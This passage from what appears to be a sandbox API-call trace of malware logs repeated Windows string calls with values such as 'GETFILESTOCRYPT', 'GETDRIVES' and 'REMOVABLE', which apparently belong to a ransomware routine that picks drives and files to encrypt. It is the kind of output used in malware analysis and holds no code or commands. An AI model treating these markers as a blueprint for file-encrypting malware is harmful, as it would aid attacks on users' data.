out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.932] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.932] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.932] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.933] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.933] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.933] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.933] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.933] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.933] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.933] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.934] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.934] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.934] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.935] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.935] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.935] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.935] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.935] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.935] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.936] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.936] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.936] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.936] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.936] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.936] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.937] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.937] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.937] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.937] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.937] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.937] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.937] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.938] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.938] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.938] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.938] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.940] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.940] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.940] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.940] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.940] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.940] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.941] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.941] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.941] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.941] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.941] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.941] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.941] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.941] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.941] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.942] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.942] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.942] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.942] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.942] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.942] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.942] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.943] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.943] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.943] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.943] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.944] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.944] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.944] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.944] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.944] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.944] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.944] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.944] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.945] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.945] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.945] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.945] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.945] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.945] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.945] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.945] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.945] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.945] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.946] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.946] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.946] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.946] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.946] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.946] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.947] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.947] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.947] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.947] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.947] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.947] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.947] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.948] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.948] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.948] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.948] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.948] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.948] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.948] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.948] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.949] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.949] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.949] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.949] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.949] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.950] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.950] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.950] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.950] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.950] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.950] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.951] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.951] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.951] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.951] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.951] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.951] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.952] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.952] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.952] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.952] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.952] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.952] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.952] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.952] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.952] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.953] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.953] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.953] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.953] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.953] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.953] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.953] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.954] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.954] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.954] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.962] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.962] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.962] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.962] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.962] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.962] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.963] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.963] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.963] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.963] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.963] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.963] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.963] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: 